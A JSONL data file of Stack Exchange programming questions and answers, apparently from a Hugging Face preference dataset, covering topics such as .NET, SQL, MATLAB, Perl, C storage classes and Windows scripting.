{"id": "hf_b793335a8433", "question": "<p>There's a diagram depicting the difference between traditional MVC and Cocoa MVC here:</p>\n\n<p><a href=\"http://developer.apple.com/documentation/Cocoa/Conceptual/CocoaFundamentals/CocoaDesignPatterns/CocoaDesignPatterns.html#//apple_ref/doc/uid/TP40002974-CH6-SW1\" rel=\"nofollow noreferrer\">Cocoa Design Patterns: The Model-View-Controller Design Pattern</a></p>\n\n<p>Are there any benefits of doing it the \"Cocoa\" way in .NET using Visual Studio?</p>\n", "question_body": "", "answer": "There's no reason\nnot\nto do it that way, if it makes more sense to you. Be aware that a lot of things in the Cocoa framework are the way they are due to higher-level design decisions, for example favoring composition and delegation over subclassing.\nIf you want, you can design C# software that looks like Objective-C software, but people with no Cocoa experience will have to have it explained to them, because the loosely-coupled design will just seem \"weird\" to them.\nOh, right - the advantages of that design include greater re-usability of the UI view and model classes (since they won't have any knowledge of each other), slightly simpler code in the view classes, and more of the \"application logic\" in a single place (the controller classes).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.007346"}
{"id": "hf_4cff2b423eba", "question": "<p>In XNA, how do I load in a texture or mesh from a file without using the content pipeline?</p>\n", "question_body": "", "answer": "I believe Texture2D.FromFile(); is what you are looking for.\nIt does not look like you can do this with a Model though.\nhttp://msdn.microsoft.com/en-us/library/microsoft.xna.framework.graphics.texture2d.fromfile.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.053153"}
{"id": "hf_586d7d74181b", "question": "<p>Basically, we have a rule setup to run a script when a code word is detected in the body of an incoming message. The script will append the current subject header with a word in front. For example, Before: \"Test Message\", After: \"Dept - Test Message\". Any ideas?</p>\n", "question_body": "", "answer": "Not tested:\n```\n```\nmailItem.Subject = \"Dept - \" & mailItem.Subject\nmailItem.Save\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.076643"}
{"id": "hf_fbbd99080e24", "question": "<p>Suppose I want to open a file in an existing Emacs session using <code>su</code> or <code>sudo</code>, without dropping down to a shell and doing <code>sudoedit</code> or <code>sudo emacs</code>. One way to do this is</p>\n\n<pre><code>C-x C-f /sudo::/path/to/file\n</code></pre>\n\n<p>but this requires an expensive <a href=\"http://www.gnu.org/software/tramp/\" rel=\"noreferrer\">round-trip through SSH</a>. Is there a more direct way?</p>\n\n<p>[EDIT] @JBB is right. I want to be able to invoke <code>su</code>/<code>sudo</code> to save as well as open. It would be OK (but not ideal) to re-authorize when saving. What I'm looking for is variations of <code>find-file</code> and <code>save-buffer</code> that can be \"piped\" through <code>su</code>/<code>sudo</code>.</p>\n", "question_body": "", "answer": "Ugh. Perhaps you could open a shell in Emacs and exec sudo emacs.\nThe problem is that you presumably don't just want to open the file. You want to be able to save it later. Thus you need your root privs to persist, not just exist for opening the file.\nSounds like you want Emacs to become your window manager. It's bloated enough without that. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.100163"}
{"id": "hf_ee27b19dc485", "question": "<p>What does a JIT compiler specifically do as opposed to a non-JIT compiler? Can someone give a succinct and easy to understand description?</p>\n", "question_body": "", "answer": "A JIT compiler runs\nafter\nthe program has started and compiles the code (usually bytecode or some kind of VM instructions) on the fly (or just-in-time, as it's called) into a form that's usually faster, typically the host CPU's native instruction set. A JIT has access to dynamic runtime information whereas a standard compiler doesn't and can make better optimizations like inlining functions that are used frequently.\nThis is in contrast to a traditional compiler that compiles\nall\nthe code to machine language\nbefore\nthe program is first run.\nTo paraphrase, conventional compilers build the whole program as an EXE file BEFORE the first time you run it. For newer style programs, an assembly is generated with pseudocode (p-code). Only AFTER you execute the program on the OS (e.g., by double-clicking on its icon) will the (JIT) compiler kick in and generate machine code (m-code) that the Intel-based processor or whatever will understand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.124452"}
{"id": "hf_76bb4c23da15", "question": "<p>I once was asked to increase thread priority to fix a problem.  I refused, saying that changing it was dangerous and was not the root cause of the problem.</p>\n\n<p>My question is, under what circumstannces <em>should</em> I conider changing priority of threads?</p>\n", "question_body": "", "answer": "Not many.  The only time I've ever had to change thread priorities in a\npositive\ndirection was with a user interface thread.  UIs must be extremely snappy in order for the app to feel right, so a lot of times it is best to prioritize painting threads higher than others.  For example, the Swing Event Dispatch Thread runs at priority 6 by default (1 higher than the default).\nI do push threads down in priority quite a bit.  Again, this is usually to keep the UI responsive while some long-running background process does its thing.  However, this also will sometimes apply to polling daemons and the like which I\nknow\nthat I don't want to be interfering with anything, regardless of how minimal the interference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.160855"}
{"id": "hf_c7261b05aaa7", "question": "<p>I have a .NET 3.5 (target framework) web application.  I have some code that looks like this:</p>\n\n<pre><code>public string LogPath { get; private set; }\npublic string ErrorMsg { get; private set; }\n</code></pre>\n\n<p>It's giving me this compilation error for these lines:</p>\n\n<pre><code>\"must declare a body because it is not marked abstract or extern.\"\n</code></pre>\n\n<p>Any ideas?  My understanding was that this style of property was valid as of .NET 3.0.</p>\n\n<p>Thanks!</p>\n\n<hr>\n\n<p>The problem turned out to be in my .sln file itself.  Although I was changing the target version in my build options, in the .sln file, I found this:</p>\n\n<pre><code>TargetFramework = \"3.0\"\n</code></pre>\n\n<p>Changing that to \"3.5\" solved it.  Thanks, guys!</p>\n", "question_body": "", "answer": "It is, as long as you put\nabstract\nin front, or implement the methods.\n```\n```\npublic abstract string LogPath { get; private set; }\npublic abstract string ErrorMsg { get; private set; }\n```\n```\nSee\nhttp://forums.asp.net/t/1031651.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.196044"}
{"id": "hf_e4cc8f2fea5d", "question": "<p>I am looking to build a multi-threaded text import  facility (generally CSV into SQL Server 2005) and would like to do this in VB.NET but I am not against C#.  I have VS 2008 trial and just dont know where to begin.  Can anyone point me in the direction of where I can look at and play with the source of a <em>VERY</em> simple multi-threaded application for VS 2008?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "This is a great article:\nhttp://www.devx.com/DevX/10MinuteSolution/20365\nIn particular:\n```\n```\nDim t As Thread\nt = New Thread(AddressOf Me.BackgroundProcess)\nt.Start()\n\nPrivate Sub BackgroundProcess()\n   Dim i As Integer = 1\n   Do While True\n        ListBox1.Items.Add(\"Iterations: \" + i)\n        i += 1\n        Thread.CurrentThread.Sleep(2000)\n   Loop\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.220536"}
{"id": "hf_32dc207649b1", "question": "<p>I am a .Net developer that has been tasked with upgrading a classic asp website to asp.net. The website is currently running on luck and bubble gum but there is not enough time or money to stop progress and do a full rewrite. Of course I will still need to be able to deliver new features while I am upgrading.</p>\n\n<p>What strategies should I use to make a smooth gradual change to asp.net? Should I convert to a single tier .net solution and then refactor to a proper multi-tier solution or should I design my business and data layers now? Should I go straight to 3.5 or is it easier to just get to 1.1 and upgrade to 2.0 or 3.5 after?</p>\n\n<p>A full conversion would probably take 3-5 months. There is also some existing 1.1 code, which is why I am considering using that as a jumping off point.</p>\n", "question_body": "", "answer": "How long would a complete conversion/rewrite take? It's also going to depend on how you've structured your original project.\nI\ncan\nanswer that you should just target v2.0 (3.5 if you want/need it's features) from the beginning. There's no need to subject yourself to 1.1 of the framework.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.255773"}
{"id": "hf_681c9125893a", "question": "<p>Let's say we have <code>0.33</code>, we need to output <code>1/3</code>. <br />\nIf we have <code>0.4</code>, we need to output <code>2/5</code>.</p>\n\n<p>The idea is to make it human-readable to make the user understand \"<strong>x parts out of y</strong>\" as a better way of understanding data.</p>\n\n<p>I know that percentages is a good substitute but I was wondering if there was a simple way to do this?</p>\n", "question_body": "", "answer": "You might want to read\nWhat Every Computer Scientist Should Know about Floating Point Arithmetic\n.\nYou'll have to specify some precision by multiplying by a large number:\n```\n```\n3.141592 * 1000000 = 3141592\n```\n```\nthen you can make a fraction:\n```\n```\n3 + (141592 / 1000000)\n```\n```\nand reduce via GCD...\n```\n```\n3 + (17699 / 125000)\n```\n```\nbut there is no way to get the\nintended\nfraction out. You might want to\nalways\nuse fractions throughout your code instead --just remember to reduce fractions when you can to avoid overflow!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.280911"}
{"id": "hf_52c6e0fc7c7b", "question": "<p>In order to distribute a function I've written that depends on other functions I've written that have their own dependencies and so on without distributing every m-file I have ever written, I need to figure out what the full list of dependencies is for a given m-file. Is there a built-in/freely downloadable way to do this?</p>\n\n<p>Specifically I am interested in solutions for MATLAB 7.4.0 (R2007a), but if there is a different way to do it in older versions, by all means please add them here.  </p>\n", "question_body": "", "answer": "For newer releases of Matlab (eg 2007 or 2008) you could use the built in functions:\nmlint\ndependency report and\ncoverage report\nAnother option is to use Matlab's profiler. The command is profile, it can also be used to track dependencies.  To use profile, you could do\n```\n```\n>> profile on   % turn profiling on\n>> foo;         % entry point to your matlab function or script\n>> profile off  % turn profiling off\n>> profview     % view the report\n```\n```\nIf profiler is not available, then perhaps the following two functions are (for pre-MATLAB 2015a):\ndepfun\ndepdir\nFor example,\n```\n```\n>> deps = depfun('foo');\n```\n```\ngives a structure, deps, that contains all the dependencies of foo.m.\nFrom answers\n2\n, and\n3\n, newer versions of MATLAB (post 2015a) use\n```\nmatlab.codetools.requiredFilesAndProducts\n```\ninstead.\nSee answers\nEDIT:\nCaveats thanks to @Mike Katz comments\nRemember that the Profiler will only\n  show you files that were actually used\n  in those runs, so if you don't go\n  through every branch, you may have\n  additional dependencies. The\n  dependency report is a good tool, but\n  only resolves static dependencies on\n  the path and just for the files in a\n  single directory.\nDepfun is more reliable but gives you\n  every possible thing it can think of,\n  and still misses LOAD's and EVAL's.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.328709"}
{"id": "hf_ac9238bc5791", "question": "<p>We'd like a trace in our application logs of these exceptions - by default Java just outputs them to the console.</p>\n", "question_body": "", "answer": "There are two ways:\n/* Install a Thread.UncaughtExceptionHandler on the EDT */\nSet a system property:\nSystem.setProperty(\"sun.awt.exception.handler\",MyExceptionHandler.class.getName());\nI don't know if the latter works on non-SUN jvms.\n--\nIndeed, the first is not correct, it's only a mechanism for detecting a crashed thread.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.357126"}
{"id": "hf_257edd931c51", "question": "<p>I'm using Eclipse PHP Development Tools.  What would be the easiest way to access a file or maybe create a remote project trough FTP and maybe SSH and SFTP?.</p>\n", "question_body": "", "answer": "have you checked\nRSE\n(\nR\nemote\nS\nystem\nE\nxplorer) ? I think it's pretty close to what you want to achieve.\na blog post about it, with screenshots", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.381648"}
{"id": "hf_b8546197532e", "question": "<p>Let's say I have an array, and I know I'm going to be doing a lot of \"Does the array contain X?\" checks. The efficient way to do this is to turn that array into a hash, where the keys are the array's elements, and then you can just say <pre>if($hash{X}) { ... }</pre></p>\n\n<p>Is there an easy way to do this array-to-hash conversion? Ideally, it should be versatile enough to take an anonymous array and return an anonymous hash.</p>\n", "question_body": "", "answer": "```\n```\n%hash = map { $_ => 1 } @array;\n```\n```\nIt's not as short as the \"@hash{@array} = ...\" solutions, but those ones require the hash and array to already be defined somewhere else, whereas this one can take an anonymous array and return an anonymous hash.\nWhat this does is take each element in the array and pair it up with a \"1\". When this list of (key, 1, key, 1, key 1) pairs get assigned to a hash, the odd-numbered ones become the hash's keys, and the even-numbered ones become the respective values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.405773"}
{"id": "hf_de926676f4ca", "question": "<p>I have been playing with Haml recently and really like the way the resulting code looks to me...the developer. I'm also not too worried about a designer being able to consume or change it...we're a small team. </p>\n\n<p>That said, beginning work on a project we believe will generate quite a bit of traffic (who doesn't?). I'm concerned that there are things I just don't know about haml. Is there anything erb can do that haml can't? Does haml have a negative effect as a project grows? Are there other things that should be considered?</p>\n\n<p>And finally...how does Haml compare speedwise to erubis? I see that it supposedly beats erb and eruby now...</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I would personally recommend us erubis in precompiled templates.\nEspecially if there's no need for dynamic templating. Then your biggest slowdown will be limited by the speed at which ruby can parse ruby.\nI'd probably set up a small cron job that just monitors for changed source templates and autocompiles them on-change that you can turn off when not in use.\nCompile once, use many.\nOh, and if you're really concerned about speed, Tenjin may be worth a look too ( same creators as erubis )\nhttp://www.kuwata-lab.com/tenjin/rbtenjin-examples.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.430438"}
{"id": "hf_d8be47c24e8d", "question": "<p>I have a Windows Workflow application that uses classes I've written for COM automation. I'm opening Word and Excel from my classes using COM.</p>\n\n<p>I'm currently implementing IDisposable in my COM helper and using Marshal.ReleaseComObject(). However, if my Workflow fails, the Dispose() method isn't being called and the Word or Excel handles stay open and my application hangs.</p>\n\n<p>The solution to this problem is pretty straightforward, but rather than just solve it, I'd like to learn something and gain insight into the right way to work with COM. I'm looking for the \"best\" or most efficient and safest way to handle the lifecycle of the classes that own the COM handles. Patterns, best practices, or sample code would be helpful.</p>\n", "question_body": "", "answer": "I can not see what failure you have that does not calls the Dispose() method. I made a test with a sequential workflow that contains only a code activity which just throws an exception and the Dispose() method of my workflow is called twice (this is because of the standard WorkflowTerminated event handler). Check the following code:\nProgram.cs\n```\n```\nclass Program\n    {\n        static void Main(string[] args)\n        {\n            using(WorkflowRuntime workflowRuntime = new WorkflowRuntime())\n            {\n                AutoResetEvent waitHandle = new AutoResetEvent(false);\n                workflowRuntime.WorkflowCompleted += delegate(object sender, WorkflowCompletedEventArgs e) \n                {\n                    waitHandle.Set();\n                };\n                workflowRuntime.WorkflowTerminated += delegate(object sender, WorkflowTerminatedEventArgs e)\n                {\n                    Console.WriteLine(e.Exception.Message);\n                    waitHandle.Set();\n                };\n\n                WorkflowInstance instance = workflowRuntime.CreateWorkflow(typeof(WorkflowConsoleApplication1.Workflow1));\n                instance.Start();\n\n                waitHandle.WaitOne();\n            }\n            Console.ReadKey();\n        }\n    }\n```\n```\nWorkflow1.cs\n```\n```\npublic sealed partial class Workflow1: SequentialWorkflowActivity\n    {\n        public Workflow1()\n        {\n            InitializeComponent();\n            this.codeActivity1.ExecuteCode += new System.EventHandler(this.codeActivity1_ExecuteCode);\n        }\n\n        [DebuggerStepThrough()]\n        private void codeActivity1_ExecuteCode(object sender, EventArgs e)\n        {\n            Console.WriteLine(\"Throw ApplicationException.\");\n            throw new ApplicationException();\n        }\n\n        protected override void Dispose(bool disposing)\n        {\n            if (disposing)\n            {\n                // Here you must free your resources \n                // by calling your COM helper Dispose() method\n                Console.WriteLine(\"Object disposed.\");\n            }\n        }\n    }\n```\n```\nAm I missing something? Concerning the lifecycle-related methods of an Activity (and consequently of a Workflow) object, please check this post:\nActivity \"Lifetime\" Methods\n. If you just want a generic article about disposing, check\nthis\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.466437"}
{"id": "hf_508f8386b047", "question": "<p>I'm looking for the total <a href=\"http://en.wikipedia.org/wiki/Commit_charge\" rel=\"nofollow noreferrer\">commit charge</a>.</p>\n", "question_body": "", "answer": "Here's an example using WMI:\n```\n```\nstrComputer = \".\"\n\nSet objSWbemServices = GetObject(\"winmgmts:\\\\\" & strComputer)\nSet colSWbemObjectSet = _\n objSWbemServices.InstancesOf(\"Win32_LogicalMemoryConfiguration\")\n\nFor Each objSWbemObject In colSWbemObjectSet\n Wscript.Echo \"Total Physical Memory (kb): \" & _\n objSWbemObject.TotalPhysicalMemory\n WScript.Echo \"Total Virtual Memory (kb): \" & _\n objSWbemObject.TotalVirtualMemory\n WScript.Echo \"Total Page File Space (kb): \" & _\n objSWbemObject.TotalPageFileSpace\nNext\n```\n```\nIf you run this script under CScript, you should see the number of kilobytes of physical memory installed on the target computer displayed in the command window. The following is typical output from the script:\nTotal Physical Memory (kb): 261676\nEdit:\nIncluded total page file size property also\ntaken from:\nhttp://www.microsoft.com/technet/scriptcenter/guide/sas_wmi_dieu.mspx?mfr=true", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.503060"}
{"id": "hf_f9e80950d78a", "question": "<p>I have a web application that is dynamically loading PDF files for viewing in the browser.\nCurrently, it uses \"innerHTML\" to replace a div with the PDF Object.  This works.</p>\n\n<p>But, is there a better way to get the ID of the element and set the \"src\" or \"data\"  parameter for the Object / Embed and have it instantly load up a new document?\nI'm hoping the instance of Adobe Acrobat Reader will stay on the screen, but the new document will load into it.</p>\n\n<p>Here is a JavaScript example of the object:</p>\n\n<pre><code>document.getElementById(`divPDF`).innerHTML = `&lt;OBJECT id='objPDF' DATA=\"'+strFilename+'\" TYPE=\"application/pdf\" TITLE=\"IMAGING\" WIDTH=\"100%\" HEIGHT=\"100%\"&gt;&lt;/object&gt;`;\n</code></pre>\n\n<p>Any insight is appreciated.</p>\n", "question_body": "", "answer": "I am not sure if this will work, as I have not tried this out in my projects.\n(Looking at your JS, I believe you are using jQuery. If not, please correct me)\nOnce you have populated the divPDF with the object you might try the code below:\n```\n```\n$(\"objPDF\").attr({\n    data: \"dir/to/newPDF\"\n});\n```\n```\nAgain, I am not sure if this will work for your particular needs but if you attach this code to an event handler you can switch out the data of the object.\nYou could also wrap it in a function to be used over and over again:\n```\n```\nfunction pdfLoad(dirToPDF) {\n    $(\"objPDF\").attr({\n        data: dirToPDF\n    });\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.538366"}
{"id": "hf_521b77940f02", "question": "<p>I have a simple table  comments <code>(id INT, revision INT, comment VARCHAR(140))</code> with some content like this:</p>\n\n<pre><code>1|1|hallo1|\n1|2|hallo2|\n1|3|hallo3|\n2|1|hallo1|\n2|2|hallo2|\n</code></pre>\n\n<p>I'm searching for an SQL statement which will return each comment with the highest revision:</p>\n\n<pre><code>1|3|hallo3|\n2|2|hallo2|\n</code></pre>\n\n<p>I've come up with this solution:</p>\n\n<pre><code>select id, revision, comment \n  from comments \n  where revision = (\n      select max(revision) \n        from comments as f \n        where f.id = comments.id\n  );\n</code></pre>\n\n<p>but it is very slow on large data sets. Are there any better queries to accomplish this?</p>\n", "question_body": "", "answer": "Make sure you have your indexes set up appropriately.  Indexing on id, revision would be good.\nHere's a different take on your query. Haven't checked its execution plan, but if you set up the index well it should help:\n```\n```\nSELECT c.* \n  FROM comments c\n  INNER JOIN (\n        SELECT id,max(revision) AS maxrev \n          FROM comments \n          GROUP BY id\n  ) b\n    ON c.id=b.id AND c.revision=b.maxrev\n```\n```\nEditted to add:\nIf you're on SQL Server, you might want to check out Indexed Views as well:\nhttp://www.microsoft.com/technet/prodtechnol/sql/2005/impprfiv.mspx\nEditted again to add info:\n```\n```\nSubquery:\n25157 records\n2 seconds\nExecution plan includes an Index Seek (82%) base and a Segment (17%)\n\nLeft Outer Join:\n25160 records\n3 seconds\nExecution plan includes two Index Scans @ 22% each with a Right Outer Merge at 45% and a Filter at 11%\n```\n```\nI'd still go with the sub query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.574510"}
{"id": "hf_84ee7feeb45c", "question": "<p>How do I see if a certain object has been loaded, and if not, how can it be loaded, like the following?</p>\n\n<pre><code>if (!isObjectLoaded(someVar)) {\n    someVar= loadObject();\n}\n</code></pre>\n", "question_body": "", "answer": "```\ntypeof(obj)\n```\nwould return \"object\" for an object of a class among other possible values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.609374"}
{"id": "hf_937009c1e120", "question": "<p>When someone talks about a variables storage class specifier, what are they talking about?<br>\nThey also often talk about variable linkage in the same context, what is that?</p>\n", "question_body": "", "answer": "The storage class specifier controls the\nstorage\nand the\nlinkage\nof your variables. These are two concepts that are different.\nC specifies the following specifiers for variables: auto, extern, register, static.\nStorage\nThe storage duration determines how long your variable will live in ram.\nThere are three types of storage duration: static, automatic and dynamic.\nstatic\nIf your variable is declared at file scope, or with an extern or static specifier, it will have static storage. The variable will exist for as long as the program is executing. No execution time is spent to create these variables.\nautomatic\nIf the variable is declared in a function, but\nwithout\nthe extern or static specifier, it has automatic storage. The variable will exist only while you are executing the function.  Once you return, the variable no longer exist.  Automatic storage is typically done on the stack.  It is a very fast operation to create these variables (simply increment the stack pointer by the size).\ndynamic\nIf you use malloc (or new in C++) you are using dynamic storage.  This storage will exist until you call free (or delete). This is the most expensive way to create storage, as the system must manage allocation and deallocation dynamically.\nLinkage\nLinkage specifies who can see and reference the variable. There are three types of linkage: internal linkage, external linkage and no linkage.\nno linkage\nThis variable is only visible where it was declared. Typically applies to variables declared in a function.\ninternal linkage\nThis variable will be visible to all the functions within the file (called a\ntranslation unit\n), but other files will not know it exists.\nexternal linkage\nThe variable will be visible to other translation units.  These are often thought of as \"global variables\".\nHere is a table describing the storage and linkage characteristics based on the specifiers\n```\nStorage Class   Function            File \n  Specifier        Scope              Scope  \n-----------------------------------------------------\n  none           automatic         static      \n                 no linkage        external linkage\n\n extern          static            static\n                 external linkage  external linkage\n\n static          static            static\n                 no linkage        internal linkage\n\n  auto           automatic         invalid\n                 no linkage\n\nregister         automatic         invalid\n                 no linkage\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.643604"}
{"id": "hf_c64787f434de", "question": "<p>I have two <code>DateTime</code> objects: <code>StartDate</code> and <code>EndDate</code>. I want to make sure <code>StartDate</code> is before <code>EndDate</code>. How is this done in C#?</p>\n", "question_body": "", "answer": "```\n```\nif(StartDate < EndDate)\n{}\n```\n```\nDateTime supports normal comparision operators.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.668080"}
{"id": "hf_15c283731ba4", "question": "<p>My Vista application needs to know whether the user has launched it \"as administrator\" (elevated) or as a standard user (non-elevated). How can I detect that at run time? </p>\n", "question_body": "", "answer": "The following C++ function can do that:\n```\n```\nHRESULT GetElevationType( __out TOKEN_ELEVATION_TYPE * ptet );\n\n/*\nParameters:\n\nptet\n    [out] Pointer to a variable that receives the elevation type of the current process.\n\n    The possible values are:\n\n    TokenElevationTypeDefault - This value indicates that either UAC is disabled, \n        or the process is started by a standard user (not a member of the Administrators group).\n\n    The following two values can be returned only if both the UAC is enabled\n    and the user is a member of the Administrator's group:\n\n    TokenElevationTypeFull - the process is running elevated. \n\n    TokenElevationTypeLimited - the process is not running elevated.\n\nReturn Values:\n\n    If the function succeeds, the return value is S_OK. \n    If the function fails, the return value is E_FAIL. To get extended error information, call GetLastError().\n\nImplementation:\n*/\n\nHRESULT GetElevationType( __out TOKEN_ELEVATION_TYPE * ptet )\n{\n    if ( !IsVista() )\n        return E_FAIL;\n\n    HRESULT hResult = E_FAIL; // assume an error occurred\n    HANDLE hToken   = NULL;\n\n    if ( !::OpenProcessToken( \n                ::GetCurrentProcess(), \n                TOKEN_QUERY, \n                &hToken ) )\n    {\n        return hResult;\n    }\n\n    DWORD dwReturnLength = 0;\n\n    if ( ::GetTokenInformation(\n                hToken,\n                TokenElevationType,\n                ptet,\n                sizeof( *ptet ),\n                &dwReturnLength ) )\n    {\n            ASSERT( dwReturnLength == sizeof( *ptet ) );\n            hResult = S_OK;\n    }\n\n    ::CloseHandle( hToken );\n\n    return hResult;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.716055"}
{"id": "hf_96f59d4b8ce8", "question": "<p>On my desktop I have written a small Pylons app that connects to Oracle.   I'm now trying to deploy it to my server which is running Win2k3 x64. (My desktop is 32-bit XP) The Oracle installation on the server is also 64-bit.</p>\n\n<p>I was getting errors about loading the OCI dll, so I installed the 32 bit client into <code>C:\\oracle32</code>.</p>\n\n<p>If I add this to the <code>PATH</code> environment variable, it works great.   But I also want to run the Pylons app as a service (<a href=\"http://wiki.pylonshq.com/display/pylonscookbook/How+to+run+Pylons+as+a+Windows+service\" rel=\"nofollow noreferrer\">using this recipe</a>) and don't want to put this 32-bit library on the path for all other applications.  </p>\n\n<p>I tried using <code>sys.path.append(\"C:\\\\oracle32\\\\bin\")</code> but that doesn't seem to work.</p>\n", "question_body": "", "answer": "sys.path is python's internal representation of the PYTHONPATH, it sounds to me like you want to modify the PATH.\nI'm not sure that this will work, but you can try:\n```\n```\nimport os\nos.environ['PATH'] += os.pathsep + \"C:\\\\oracle32\\\\bin\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.740501"}
